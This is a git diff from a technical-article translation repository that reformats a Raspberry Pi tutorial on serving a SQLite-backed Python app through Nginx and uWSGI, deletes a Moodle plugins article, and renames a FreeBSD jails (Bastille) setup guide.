technologies: - * A [Raspberry Pi 4][2] running Debian - * Nginx web server: The free version hosts over 400 million websites. This web server is easy to install, configure, and use. - * [SQLite relational database system][3], which is file-based: A database, which can hold many tables, is a file on the local system. SQLite is lightweight but also [ACID-compliant][4]; it is suited for low to moderate volume. SQLite is likely the most widely used database system in the world, and the source code for SQLite is in the public domain. The current version is 3. A more powerful (but still free) option is PostgreSQL. - * Python: The Python programming language can interact with databases such as SQLite and web servers such as Nginx. Python (version 3) comes with Linux and macOS systems. - - +* A [Raspberry Pi 4][2] running Debian +* Nginx web server: The free version hosts over 400 million websites. This web server is easy to install, configure, and use. +* [SQLite relational database system][3], which is file-based: A database, which can hold many tables, is a file on the local system. SQLite is lightweight but also [ACID-compliant][4]; it is suited for low to moderate volume. SQLite is likely the most widely used database system in the world, and the source code for SQLite is in the public domain. The current version is 3. A more powerful (but still free) option is PostgreSQL. +* Python: The Python programming language can interact with databases such as SQLite and web servers such as Nginx. Python (version 3) comes with Linux and macOS systems. Python includes a software driver for communicating with SQLite. There are options for connecting Python scripts with Nginx and other web servers. One option is [uWSGI][5] (Web Server Gateway Interface), which updates the ancient CGI (Common Gateway Interface) from the 1990s. Several factors speak for uWSGI: - * uWSGI is flexible. It can be used as either a lightweight concurrent web server or the backend application server connected to a web server such as Nginx. - * Its setup is minimal. - * The snowfall application involves a low to moderate volume of hits on the web server and database system. In general, CGI technologies are not fast by modern standards, but CGI performs well enough for department-level web applications such as this one. - - +* uWSGI is flexible. It can be used as either a lightweight concurrent web server or the backend application server connected to a web server such as Nginx. +* Its setup is minimal. +* The snowfall application involves a low to moderate volume of hits on the web server and database system. In general, CGI technologies are not fast by modern standards, but CGI performs well enough for department-level web applications such as this one. Various acronyms describe the uWSGI option. Here's a sketch of the three principal ones: - * **WSGI** is a Python specification for an interface between a web server on one side, and an application or an application framework (e.g., Django) on the other side. This specification defines an API whose implementation is left open. - * **uWSGI** implements the WSGI interface by providing an application server, which connects applications to a web server. A uWSGI application server's main job is to translate HTTP requests into a format that a web application can consume and, afterward, to format the application's response into an HTTP message. - * **uwsgi** is a binary protocol implemented by a uWSGI application server to communicate with a full-featured web server such as Nginx; it also includes utilities such as a lightweight web server. The Nginx web server "speaks" uwsgi out of the box. - - +* WSGI is a Python specification for an interface between a web server on one side, and an application or an application framework (e.g., Django) on the other side. This specification defines an API whose implementation is left open. +* uWSGI implements the WSGI interface by providing an application server, which connects applications to a web server. A uWSGI application server's main job is to translate HTTP requests into a format that a web application can consume and, afterward, to format the application's response into an HTTP message. +* uwsgi is a binary protocol implemented by a uWSGI application server to communicate with a full-featured web server such as Nginx; it also includes utilities such as a lightweight web server. The Nginx web server "speaks" uwsgi out of the box. For convenience, I will use "uwsgi" as shorthand for the binary protocol, the application server, and the very lightweight web server. @@ -52,33 +46,29 @@ For convenience, I will use "uwsgi" as shorthand for the binary protocol, the ap On a Debian-based system, you can install SQLite the usual way (with `%` representing the command-line prompt): - ``` -`% sudo apt-get install sqlite3` +% sudo apt-get install sqlite3 ``` This database system is a collection of C libraries and utilities, all of which come to about 500KB in size. There is no database server to start, stop, or otherwise maintain. Once SQLite is installed, create a database at the command-line prompt: - ``` -`% sqlite3 snowfall.db` +% sqlite3 snowfall.db ``` If this succeeds, the command creates the file `snowfall.db` in the current working directory. The database name is arbitrary (e.g., no extension is required), and the command opens the SQLite client utility with `>sqlite` as the prompt: - ``` Enter ".help" for usage hints. -sqlite> +sqlite> ``` Create the snowfall table in the snowfall database with the following command. The table name, like the database name, is arbitrary: - ``` -sqlite> CREATE TABLE snowfall (id INTEGER PRIMARY KEY AUTOINCREMENT, +sqlite> CREATE TABLE snowfall (id INTEGER PRIMARY KEY AUTOINCREMENT,                                region TEXT NOT NULL,                                device TEXT NOT NULL,                                amount DECIMAL NOT NULL, @@ -87,9 +77,8 @@ sqlite> CREATE TABLE snowfall (id INTEGER PRIMARY KEY AUTOINCREMENT, SQLite commands are case-insensitive, but it is traditional to use uppercase for SQL terms and lowercase for user terms. Check that the table was created: - ``` -`sqlite> .schema` +sqlite> .schema ``` The command echoes the `CREATE TABLE` statement. @@ -100,10 +89,9 @@ The database is now ready for business, although the single-table snowfall is em Recall that uwsgi can be used in two ways: either as a lightweight web server or as an application server connected to a production-grade web server such as Nginx. The second use is the goal, but the first is suited for developing and testing the programmer's request-handling code. Here's the architecture with Nginx in play as the web server: - ``` -       HTTP       uwsgi -client<\---->Nginx<\----->appServer<\--->request-handling code<\--->SQLite +HTTP       uwsgi +client<---->Nginx<----->appServer<--->request-handling code<--->SQLite ``` The client could be a browser, a utility such as [curl][6], or a hand-crafted program fluent in HTTP. Communications between the client and Nginx occur through HTTP, but then uwsgi takes over as a binary-transport protocol between Nginx and the application server, which interacts with request-handling code such as `requestHandler.py` (described below). This architecture delivers a clean division of labor. Nginx alone manages the client, and only the request-handling code interacts with the database. In turn, the application server separates the web server from the programmer-written code, which has a high-level API to read and write HTTP messages delivered over uwsgi. @@ -116,7 +104,6 @@ Below is the source code file `requestHandler.py` for the snowfall application. #### The request-handling program - ``` import sqlite3 import cgi @@ -127,7 +114,7 @@ PATH_2_DB = '/home/marty/wsgi/snowfall.db' def application(env, start_line):     if env['REQUEST_METHOD'] == 'POST':   ## add new DB record         return handle_post(env, start_line) -    elif env['REQUEST_METHOD'] == 'GET':  ## create HTML-fragment report +    elif env['REQUEST_METHOD'] == 'GET':  ## create HTML-fragment report         return handle_get(start_line)     else:                                 ## no other option for now         start_line('405 METHOD NOT ALLOWED', [('Content-Type', 'text/plain')]) @@ -136,7 +123,7 @@ def application(env, start_line): def handle_post(env, start_line):         form = get_field_storage(env)  ## body of an HTTP POST request -    +        ## Extract fields from POST form.     region = form.getvalue('region')     device = form.getvalue('device') @@ -162,19 +149,19 @@ def handle_get(start_line):     cursor = conn.cursor()                   ## get a cursor     cursor.execute("select * from snowfall") -    response_body = "<h3>Snowfall report</h3><ul>" +    response_body = "

Snowfall report

    "     rows = cursor.fetchall()     for row in rows: -        response_body += "<li>" + str(row[0]) + '|'  ## primary key +        response_body += "
  • " + str(row[0]) + '|'  ## primary key         response_body += row[1] + '|'                ## region         response_body += row[2] + '|'                ## device         response_body += str(row[3]) + '|'           ## amount -        response_body += str(row[4]) + "</li>"       ## timestamp -    response_body += "</ul>" +        response_body += str(row[4]) + "
  • "       ## timestamp +    response_body += "
"     conn.commit()  ## commit     conn.close()   ## cleanup -    +        start_line('200 OK', [('Content-Type', 'text/html')])     return [response_body.encode()] @@ -184,7 +171,7 @@ def add_record(reg, dev, amt, tstamp):     cursor = conn.cursor()                 ## get a cursor     sql = "INSERT INTO snowfall(region,device,amount,tstamp) values (?,?,?,?)" -    cursor.execute(sql, (reg, dev, amt, tstamp)) ## execute INSERT +    cursor.execute(sql, (reg, dev, amt, tstamp)) ## execute INSERT     conn.commit()  ## commit     conn.close()   ## cleanup @@ -203,16 +190,14 @@ def get_field_storage(env): A constant at the start of the source file defines the path to the database file: - ``` -`PATH_2_DB = '/home/marty/wsgi/snowfall.db'` +PATH_2_DB = '/home/marty/wsgi/snowfall.db' ``` Make sure to update the path for your Raspberry Pi. As noted earlier, uwsgi includes a lightweight web server that can host this request-handling application. To begin, install uwsgi with these two commands (`##` introduces my comments): - ``` % sudo apt-get install build-essential python-dev ## C header files, etc. % pip install uwsgi                               ## pip = Python package manager @@ -220,19 +205,17 @@ As noted earlier, uwsgi includes a lightweight web server that can host this req Next, launch a bare-bones snowfall application using uwsgi as the web server: - ``` -`% uwsgi --http 127.0.0.1:9999 --wsgi-file requestHandler.py  ` +% uwsgi --http 127.0.0.1:9999 --wsgi-file requestHandler.py ``` The flag `--http` runs uwsgi in web-server mode, with 9999 as the web server's listening port on localhost (127.0.0.1). By default, uwsgi dispatches HTTP requests to a programmer-defined function named `application`. For review, here's the full function from the top of the `requestHandler.py` code: - ``` def application(env, start_line):     if env['REQUEST_METHOD'] == 'POST':   ## add new DB record         return handle_post(env, start_line) -    elif env['REQUEST_METHOD'] == 'GET':  ## create HTML-fragment report +    elif env['REQUEST_METHOD'] == 'GET':  ## create HTML-fragment report         return handle_get(start_line)     else:                                 ## no other option for now         start_line('405 METHOD NOT ALLOWED', [('Content-Type', 'text/plain')]) @@ -242,25 +225,21 @@ def application(env, start_line): The snowfall application accepts only two request types: - * A POST request, if up to snuff, creates a new entry in the snowfall table. The request should include the ski area region, the device in the region, the snowfall amount in centimeters, and a Unix-style timestamp. A POST request is dispatched to the `handle_post` function (which I'll clarify shortly). - * A GET request returns an HTML fragment (an unordered list) with the records currently in the snowfall table. - - +* A POST request, if up to snuff, creates a new entry in the snowfall table. The request should include the ski area region, the device in the region, the snowfall amount in centimeters, and a Unix-style timestamp. A POST request is dispatched to the `handle_post` function (which I'll clarify shortly). +* A GET request returns an HTML fragment (an unordered list) with the records currently in the snowfall table. Requests with an HTTP verb other than POST and GET will generate an error message. You can use a utility such as curl to generate HTTP requests for testing. Here are three sample POST requests to start populating the database: - ``` -% curl -X POST -d "region=R1&device=D9&amount=1.42&tstamp=1604722088.0158753" localhost:9999/ -% curl -X POST -d "region=R7&device=D4&amount=2.11&tstamp=1604722296.8862638" localhost:9999/ -% curl -X POST -d "region=R5&device=D1&amount=1.12&tstamp=1604942236.1013834" localhost:9999/ +% curl -X POST -d "region=R1&device=D9&amount=1.42&tstamp=1604722088.0158753" localhost:9999/ +% curl -X POST -d "region=R7&device=D4&amount=2.11&tstamp=1604722296.8862638" localhost:9999/ +% curl -X POST -d "region=R5&device=D1&amount=1.12&tstamp=1604942236.1013834" localhost:9999/ ``` These commands add three records to the snowfall table. A subsequent GET request from curl or a browser displays an HTML fragment that lists the rows in the snowfall table. Here's the equivalent as non-HTML text: - ``` Snowfall report @@ -273,20 +252,18 @@ A professional report would convert the numeric timestamps into human-readable o The uwsgi utility accepts various flags, which can be given either through a configuration file or in the launch command. For example, here's a richer launch of uwsgi as a web server: - ``` -`% uwsgi --master --processes 2 --http 127.0.0.1:9999 --wsgi-file requestHandler.py` +% uwsgi --master --processes 2 --http 127.0.0.1:9999 --wsgi-file requestHandler.py ``` This version creates a master (supervisory) process and two worker processes, which can handle the HTTP requests concurrently. In the snowfall application, the functions `handle_post` and `handle_get` process POST and GET requests, respectively. Here's the `handle_post` function in full: - ``` def handle_post(env, start_line):         form = get_field_storage(env)  ## body of an HTTP POST request -    +        ## Extract fields from POST form.     region = form.getvalue('region')     device = form.getvalue('device') @@ -308,18 +285,17 @@ def handle_post(env, start_line):         return [response_body.encode()] ``` -The two arguments to the `handle_post` function (`env` and `start_line`) represent the system environment and a communications channel, respectively. The `start_line` channel sends the HTTP start line (in this case, either `400 Bad Request` or `201 OK`) and any HTTP headers (in this case, just `Content-Type: text/plain`) of an HTTP response. +The two arguments to the `handle_post` function (`env` and `start_line` ) represent the system environment and a communications channel, respectively. The `start_line` channel sends the HTTP start line (in this case, either `400 Bad Request` or `201 OK` ) and any HTTP headers (in this case, just `Content-Type: text/plain` ) of an HTTP response. The `handle_post` function tries to extract the relevant data from the HTTP POST request and, if it's successful, calls the function `add_record` to add another row to the snowfall table: - ``` def add_record(reg, dev, amt, tstamp):     conn = sqlite3.connect(PATH_2_DB)      ## connect to DB     cursor = conn.cursor()                 ## get a cursor     sql = "INSERT INTO snowfall(region,device,amount,tstamp) VALUES (?,?,?,?)" -    cursor.execute(sql, (reg, dev, amt, tstamp)) ## execute INSERT +    cursor.execute(sql, (reg, dev, amt, tstamp)) ## execute INSERT     conn.commit()  ## commit     conn.close()   ## cleanup @@ -329,26 +305,25 @@ SQLite automatically wraps single SQL statements (such as `INSERT` above) in a t The `handle_get` function also touches the database, but only to read the records in the snowfall table: - ``` def handle_get(start_line):     conn = sqlite3.connect(PATH_2_DB)        ## connect to DB     cursor = conn.cursor()                   ## get a cursor     cursor.execute("SELECT * FROM snowfall") -    response_body = "<h3>Snowfall report</h3><ul>" +    response_body = "

Snowfall report

    "     rows = cursor.fetchall()     for row in rows: -        response_body += "<li>" + str(row[0]) + '|'  ## primary key +        response_body += "
  • " + str(row[0]) + '|'  ## primary key         response_body += row[1] + '|'                ## region         response_body += row[2] + '|'                ## device         response_body += str(row[3]) + '|'           ## amount -        response_body += str(row[4]) + "</li>"       ## timestamp -    response_body += "</ul>" +        response_body += str(row[4]) + "
  • "       ## timestamp +    response_body += "
"     conn.commit()  ## commit     conn.close()   ## cleanup -    +        start_line('200 OK', [('Content-Type', 'text/html')])     return [response_body.encode()] ``` @@ -359,28 +334,25 @@ A user-friendly version of the snowfall application would support additional (an The Nginx web server can be installed on a Debian-based system with one command: - ``` -`% sudo apt-get install nginx` +% sudo apt-get install nginx ``` As a web server, Nginx provides the expected services, such as wire-level security, HTTPS, user authentication, load balancing, media streaming, response compression, file uploading, etc. The Nginx engine is high-performance and stable, and this server can support dynamic content through a variety of programming languages. Using uwsgi as a very lightweight web server is an attractive option but switching to Nginx is a move up to industrial-strength web hosting with high-volume capability. Nginx and uwsgi are both implemented in C. With Nginx in play, uwsgi takes on a communication protocol's restricted roles and an application server; it no longer acts as an HTTP web server. Here's the revised architecture: - ``` -          HTTP       uwsgi                   -requester<\---->Nginx<\----->app server<\--->requestHandler.py +HTTP       uwsgi                   +requester<---->Nginx<----->app server<--->requestHandler.py ``` As noted earlier, Nginx includes uwsgi support and now acts as a reverse-proxy server that forwards designated HTTP requests to the uwsgi application server, which in turn interacts with the Python script `requestHandler.py`. Responses from the Python script move in the reverse direction so that Nginx sends the HTTP response back to the requesting client. Two changes bring this new architecture to life. The first launches uwsgi as an application server: - ``` -`% uwsgi --socket 127.0.0.1:8001 --wsgi-file requestHandler.py` +% uwsgi --socket 127.0.0.1:8001 --wsgi-file requestHandler.py ``` Socket 8001 is the Nginx default for uwsgi communications. For robustness, you could use the full path to the Python script so that the command above does not have to be executed in the directory that houses the Python script. In a production environment, uwsgi would start and stop automatically; for now, however, the emphasis remains on how the architectural pieces fit together. @@ -389,7 +361,6 @@ The second change involves Nginx configuration, which can be tricky on Debian-ba However the configuration is distributed, the key section for having Nginx talk to the uwsgi application server begins with `http` and has one or more `server` subsections, which in turn have `location` subsections. Here's an example from the Nginx documentation: - ``` ... http { @@ -397,7 +368,7 @@ http {     ...     server { # simple reverse-proxy        listen       80; -       server_name  domain2.com [www.domain2.com][8]; +       server_name  domain2.com www.domain2.com;        access_log   logs/domain2.access.log  main;        # serve static files @@ -408,7 +379,7 @@ http {        # pass requests for dynamic content to rails/turbogears/zope, et al        location / { -         proxy_pass      ; +         proxy_pass      http://127.0.0.1:8080;        }      }      ... @@ -417,7 +388,6 @@ http { The `location` subsections are the ones of interest. For the snowfall application, here's the added `location` entry with its two configuration lines: - ``` ... server { @@ -441,9 +411,8 @@ server { To keep things simple for now, make `/snowfall` the only `location` in the configuration. With this configuration in place, Nginx listens on port 80 and dispatches HTTP requests ending with the `/snowfall` path to the uwsgi application server: - ``` -% curl -X POST -d "..." localhost/snowfall ## new POST +% curl -X POST -d "..." localhost/snowfall ## new POST % curl -X GET localhost/snowfall           ## new GET ``` @@ -453,16 +422,14 @@ If the configured location were simply `/` instead of `/snowfall`, then any HTTP Once you've changed the Nginx configuration with the added `location` subsection, you can start the web server: - ``` -`% sudo systemctl start nginx` +% sudo systemctl start nginx ``` There are other commands similar to `stop` and `restart` Nginx. In a production environment, you could automate these actions so that Nginx starts on a system boot and stops on a system shutdown. With uwsgi and Nginx both running, you can use a browser to test whether the architectural components cooperate as expected. For example, if you enter the URL `localhost/` in the browser's input window, then the Nginx welcome page should appear with (HTML) content similar to this: - ``` Welcome to nginx! ... @@ -471,7 +438,6 @@ Thank you for using nginx. By contrast, the URL `localhost/snowfall` should display the rows currently in the snowfall table: - ``` Snowfall report @@ -491,19 +457,18 @@ The software components in the web application work well together and require ve via: https://opensource.com/article/21/3/web-hosting-raspberry-pi 作者:[Marty Kalin][a] -选题:[lujun9972][b] +选题:[lkxed][b] 译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID) 本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 [a]: https://opensource.com/users/mkalindepauledu -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/browser_web_internet_website.png?itok=g5B_Bw62 (Digital creative of a browser on the internet) +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/browser_web_internet_website.png [2]: https://www.raspberrypi.org/products/raspberry-pi-4-model-b/ [3]: https://opensource.com/article/21/2/sqlite3-cheat-sheet [4]: https://en.wikipedia.org/wiki/ACID [5]: https://uwsgi-docs.readthedocs.io/en/latest/ [6]: https://opensource.com/article/20/5/curl-cheat-sheet [7]: https://condor.depaul.edu/mkalin -[8]: http://www.domain2.com diff --git a/sources/tech/20210305 5 useful Moodle plugins to engage students.md b/sources/tech/20210305 5 useful Moodle plugins to engage students.md deleted file mode 100644 index 9e504c2cec..0000000000 --- a/sources/tech/20210305 5 useful Moodle plugins to engage students.md +++ /dev/null @@ -1,105 +0,0 @@ -[#]: subject: (5 useful Moodle plugins to engage students) -[#]: via: (https://opensource.com/article/21/3/moodle-plugins) -[#]: author: (Sergey Zarubin https://opensource.com/users/sergey-zarubin) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) - -5 useful Moodle plugins to engage students -====== -Use plugins to give your e-learning platform new capabilities that -motivate students. -![Person reading a book and digital copy][1] - -A good e-learning platform is important for education all over the world. Teachers need a way to hold classes, students need a friendly user interface to facilitate learning, and administrators need a way to monitor the educational system's effectiveness. - -Moodle is an open source software package that allows you to create a private website with interactive online courses. It's helping people gather virtually, teach and learn from one another, and stay organized while doing it. - -What makes Moodle unique is its high usability that can significantly increase with third-party solutions. If you visit the [Moodle plugins directory][2], you'll find over 1,700 plugins developed by the open source community. - -Picking the best plugins for your learners might be a challenge with so many choices. To help get you started, here my top five plugins to add to your e-learning platform. - -### Level up! - -![Level up Moodle plugin][3] - -Level up! Source:  - -Motivating and engaging learners is one of the most difficult tasks for educators. The [Level up plugin][4] allows you to gamify the learning experience by attributing points to students for completing actions and allowing them to show progress and level up. This encourages your students to compete in a healthy atmosphere and be better learners. - -What's more, you can take total control over the points your students earn, and they can unlock content when they reach a certain level. All of these features are available for free. If you are ready to pay, you can buy some extra functionality, such as individual rewards and team leaderboards. - -### BigBlueButton - -![BigBlueButton Moodle plugin][5] - -BigBlueButton. Source:  - -[BigBlueButton][6] is probably the most well-known Moodle plugin. This open source videoconferencing solution allows educators to engage remote students with live online classes and group collaboration activities. It offers important features such as real-time screen sharing, audio and video calls, chat, emojis, and breakout rooms. This plugin also allows you to record your live sessions. - -BigBlueButton enables you to create multiple activity links within any course, restrict your students from joining a session until you join, create a custom welcome message, manage your recordings, and more. All in all, BigBlueButton has everything you need to teach and participate in online classes. - -### ONLYOFFICE - -![ONLYOFFICE Moodle plugin][7] - -ONLYOFFICE. Source:  - -The [ONLYOFFICE plugin][8] allows learners and educators to create and edit text documents, spreadsheets, and presentations right in their browser. Without installing any additional apps, they can work with .docx, .xlsx, .pptx, .txt, and .csv files attached to their courses; open .pdf files for viewing; and apply advanced formatting and objects including autoshapes, tables, charts, equations, and more. - -Moreover, ONLYFFICE makes it possible to co-edit documents in real time, which means several users can simultaneously work on the same document. Different permission rights (full access, commenting, reviewing, read-only, and form filling) make it easier to manage access to your documents flexibly. - -### Global Chat - -![Global Chat Moodle plugin][9] - -Global Chat. Source:  - -The [Global Chat plugin][10] allows educators and learners to communicate in real time via Moodle. The plugin provides a list of all the users in your courses, and when you click a user's name, it opens a chat window at the bottom of the page so that you can communicate. - -With this easy-to-use tool, you don't need to open a separate window to start an online conversation. You can change between web pages, and your conversations will always remain open. - -### Custom certificate - -![Custom certificate Moodle plugin][11] - -Custom certificate. Source:  - -Another effective way to engage students is to offer certificates as a reward for course completion. The promise of a completion certificate helps keep students on track and committed to their training. - -The [Custom certificate plugin][12] allows you to generate fully customizable PDF certificates in your web browser. Importantly, the plugin is compatible with GDPR requirements, and the certificates have unique verification codes, so you can use them for authentic accreditation. - -### Oodles of Moodle plugins - -These are my top five favorite Moodle plugins. You can try them out by [signing up for an account][13] on Moodle.org, or you can host your own installation (or talk to your systems administrator or IT staff to set one up for you). - -If these plugins aren't the right options for your learning goals, take a look at the many other plugins available. If you find a good one, leave a comment and tell everyone about it! - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/3/moodle-plugins - -作者:[Sergey Zarubin][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/sergey-zarubin -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/read_book_guide_tutorial_teacher_student_apaper.png?itok=_GOufk6N (Person reading a book and digital copy) -[2]: https://moodle.org/plugins/ -[3]: https://opensource.com/sites/default/files/uploads/gamification.png (Level up Moodle plugin) -[4]: https://moodle.org/plugins/block_xp -[5]: https://opensource.com/sites/default/files/uploads/bigbluebutton.png (BigBlueButton Moodle plugin) -[6]: https://moodle.org/plugins/mod_bigbluebuttonbn -[7]: https://opensource.com/sites/default/files/uploads/onlyoffice_editors.png (ONLYOFFICE Moodle plugin) -[8]: https://github.com/logicexpertise/moodle-mod_onlyoffice -[9]: https://opensource.com/sites/default/files/uploads/global_chat.png (Global Chat Moodle plugin) -[10]: https://moodle.org/plugins/block_gchat -[11]: https://opensource.com/sites/default/files/uploads/certificate.png (Custom certificate Moodle plugin) -[12]: https://moodle.org/plugins/mod_customcert -[13]: https://moodle.com/getstarted/ diff --git a/sources/tech/20210306 Manage containers on Raspberry Pi with this open source tool.md b/sources/tech/20210306 Use FreeBSD jails on Raspberry Pi.md similarity index 88% rename from sources/tech/20210306 Manage containers on Raspberry Pi with this open source tool.md rename to sources/tech/20210306 Use FreeBSD jails on Raspberry Pi.md index 8b31abd533..1b7ebb7bfe 100644 --- a/sources/tech/20210306 Manage containers on Raspberry Pi with this open source tool.md +++ b/sources/tech/20210306 Use FreeBSD jails on Raspberry Pi.md @@ -1,18 +1,20 @@ -[#]: subject: (Manage containers on Raspberry Pi with this open source tool) -[#]: via: (https://opensource.com/article/21/3/bastille-raspberry-pi) -[#]: author: (Peter Czanik https://opensource.com/users/czanik) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) +[#]: subject: "Use FreeBSD jails on Raspberry Pi" +[#]: via: "https://opensource.com/article/21/3/bastille-raspberry-pi" +[#]: author: "Peter Czanik https://opensource.com/users/czanik" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " -Manage containers on Raspberry Pi with this open source tool +Use FreeBSD jails on Raspberry Pi ====== -Create and maintain your containers (aka jails) at scale on FreeBSD with -Bastille. +Create and maintain your containers (aka jails) at scale on FreeBSD with Bastille. + ![Parts, modules, containers for software][1] +Image by: Opensource.com + Containers became widely popular because of Docker on Linux, but there are [much earlier implementations][2], including the [jail][3] system on FreeBSD. A container is called a "jail" in FreeBSD terminology. The jail system was first released in FreeBSD 4.0 way back in 2000, and it has continuously improved since. While 20 years ago it was used mostly on large servers, now you can run it on your Raspberry Pi. ### Jails vs. containers on Linux @@ -31,19 +33,17 @@ Docker brought popularity, accessibility, and ease of use to containers. There a Installing [BSD on Raspberry Pi][8] is pretty similar to installing Linux. You download a compressed image from the FreeBSD website and `dd` it to an SD card. You can also use a dedicated image writer tool; there are many available for all operating systems (OS). Download and write an image from the command line with: - ``` -wget +wget https://download.freebsd.org/ftp/releases/arm64/aarch64/ISO-IMAGES/13.0/FreeBSD-13.0-BETA1-arm64-aarch64-RPI.img.xz xzcat FreeBSD-13.0-BETA1-arm64-aarch64-RPI.img.xz | dd of=/dev/XXX ``` -That writes the latest beta image available for 64-bit Raspberry Pi boards; check the [download page][9] if you use another Raspberry Pi board or want to use another build. Replace `XXX` with your SD card's device name, which depends on your OS and how the card connects to your machine. I purposefully did not use a device name so that you won't overwrite anything if you just copy and paste the instructions mindlessly. I did that and was lucky to have a recent backup of my laptop, but it was _not_ a pleasant experience. +That writes the latest beta image available for 64-bit Raspberry Pi boards; check the [download page][9] if you use another Raspberry Pi board or want to use another build. Replace `XXX` with your SD card's device name, which depends on your OS and how the card connects to your machine. I purposefully did not use a device name so that you won't overwrite anything if you just copy and paste the instructions mindlessly. I did that and was lucky to have a recent backup of my laptop, but it was *not* a pleasant experience. Once you've written the SD card, put it in your Raspberry Pi and boot it. The first boot takes a bit longer than usual; I suspect the partition sizes are being adjusted to the SD card's size. After a while, you will receive the familiar login prompt on a good old text-based screen. The username is **root**, and the password is the same as the user name. The SSH server is enabled by default, but don't worry; the root user cannot log in. It is still a good idea to change the password to something else. The network is automatically configured by DHCP for the Ethernet connection (I did not test WiFi). The easiest way to configure Bastille on the system is to SSH into Raspberry Pi and copy and paste the commands and configuration in this article. You have a couple of options, depending on how much you care about industry best practices or are willing to treat it as a test system. You can either enable root login in the SSHD configuration (scary, but this is what I did at first) or create a regular user that can log in remotely. In the latter case, make sure that the user is part of the "wheel" group so that it can use `su -` to become root and use Bastille: - ``` root@generic:~ # adduser Username: czanik @@ -79,9 +79,8 @@ Goodbye! The fifth line adds the user to the wheel group. Note that you might have a different list of shells on your system, and Bash is not part of the base system. Install Bash before adding the user: - ``` -`pkg install bash` +pkg install bash ``` PKG needs to bootstrap itself on the first run, so invoking the command takes a bit longer this time. @@ -90,34 +89,30 @@ PKG needs to bootstrap itself on the first run, so invoking the command takes a Managing jails with the tools in the FreeBSD base system is possible—but not really convenient. Using a tool like Bastille can simplify it considerably. It is not part of the base system, so install it: - ``` -`pkg install bastille` +pkg install bastille ``` As you can see from the command's output, Bastille has no external dependencies. It is a shell script that relies on commands in the FreeBSD base system (with an exception I'll note later when explaining templates). If you want to start your containers on boot, enable Bastille: - ``` -`sysrc bastille_enable="YES"` +sysrc bastille_enable="YES" ``` Start with a simple use case. Many people use containers to install different development tools in different containers to avoid conflicts or simplify their environments. For example, no sane person wants to install Python 2 on a brand-new system—but you might need to run an ancient script every once in a while. So, create a jail for Python 2. Before creating your first jail, you need to bootstrap a FreeBSD release and configure networking. Just make sure that you bootstrap the same or an older release than the host is running. For example: - ``` -`bastille bootstrap 12.2-RELEASE` +bastille bootstrap 12.2-RELEASE ``` It downloads and extracts this release under the `/usr/local/bastille` directory structure. Networking can be configured in many different ways using Bastille. One option that works everywhere—on your local machine and in the cloud—is using cloned interfaces. This allows jails to use an internal network that does not interfere with the external network. Configure and start this internal network: - ``` sysrc cloned_interfaces+=lo1 sysrc ifconfig_lo1_name="bastille0" @@ -126,7 +121,6 @@ service netif cloneup With this network setup, services in your jails are not accessible from the outside network, nor can they reach outside. You need forward ports from your host's external interface to the jails and to enable network access translation (NAT). Bastille integrates with BSD's [PF firewall][10] for this task. The following `pf.conf` configures the PF firewall such that Bastille can add port forwarding rules to the firewall dynamically: - ``` ext_if="ue0" @@ -134,8 +128,8 @@ set block-policy return scrub in on $ext_if all fragment reassemble set skip on lo -table <jails> persist -nat on $ext_if from <jails> to any -> ($ext_if) +table persist +nat on $ext_if from to any -> ($ext_if) rdr-anchor "rdr/*" @@ -147,7 +141,6 @@ pass in inet proto tcp from any to any port ssh flags S/SA modulate state You also need to enable and start PF for these rules to take effect. Note that if you work through an SSH connection, starting PF will terminate your connection, and you will need to log in again: - ``` sysrc pf_enable="YES" service pf restart @@ -157,14 +150,12 @@ service pf restart To create a jail, Bastille needs a few parameters. First, it needs a name for the jail you're creating. It is an important parameter, as you will always refer to a jail by its name. I chose the name of the most famous Hungarian jail for the most elite criminals, but in real life, jail names often refer to the jail's function, like `syslogserver`. You also need to set the FreeBSD release you're using and an internet protocol (IP) address. I used a random `10.0.0.0/8` IP address range, but if your internal network already uses addresses from that, then using the `192.168.0.0/16` is probably a better idea: - ``` -`bastille create csillag 12.2-RELEASE 10.17.89.51` +bastille create csillag 12.2-RELEASE 10.17.89.51 ``` Your new jail should be up and running within a few seconds. It is a complete FreeBSD base system without any extra packages. So install some packages, like my favorite text editor, inside the jail: - ``` root@generic:~ # bastille pkg csillag install joe [csillag]: @@ -190,22 +181,20 @@ Checking integrity... done (0 conflicting) You can install multiple packages at the same time. Install Python 2, Bash, and Git: - ``` -`bastille pkg csillag install bash python2 git` +bastille pkg csillag install bash python2 git ``` Now you can start working in your new, freshly created jail. There are no network services installed in it, but you can reach it through its console: - ``` root@generic:~ # bastille console csillag [csillag]: root@csillag:~ # python2 Python 2.7.18 (default, Feb  2 2021, 01:53:44) -[GCC FreeBSD Clang 10.0.1 ([git@github.com][11]:llvm/llvm-project.git llvmorg-10.0.1- on freebsd12 +[GCC FreeBSD Clang 10.0.1 (git@github.com:llvm/llvm-project.git llvmorg-10.0.1- on freebsd12 Type "help", "copyright", "credits" or "license" for more information. ->>> +>>> root@csillag:~ # logout root@generic:~ # @@ -217,21 +206,18 @@ The previous example manually installed some packages inside a jail. Setting up To use templates, you need to install Git on the host: - ``` -`pkg install git` +pkg install git ``` For example, to bootstrap the `syslog-ng` template, use: - ``` -`bastille bootstrap https://gitlab.com/BastilleBSD-Templates/syslog-ng` +bastille bootstrap https://gitlab.com/BastilleBSD-Templates/syslog-ng ``` Create a new jail, apply the template, and redirect an external port to it: - ``` bastille create alcatraz 12.2-RELEASE 10.17.89.50 bastille template alcatraz BastilleBSD-Templates/syslog-ng @@ -240,7 +226,6 @@ bastille 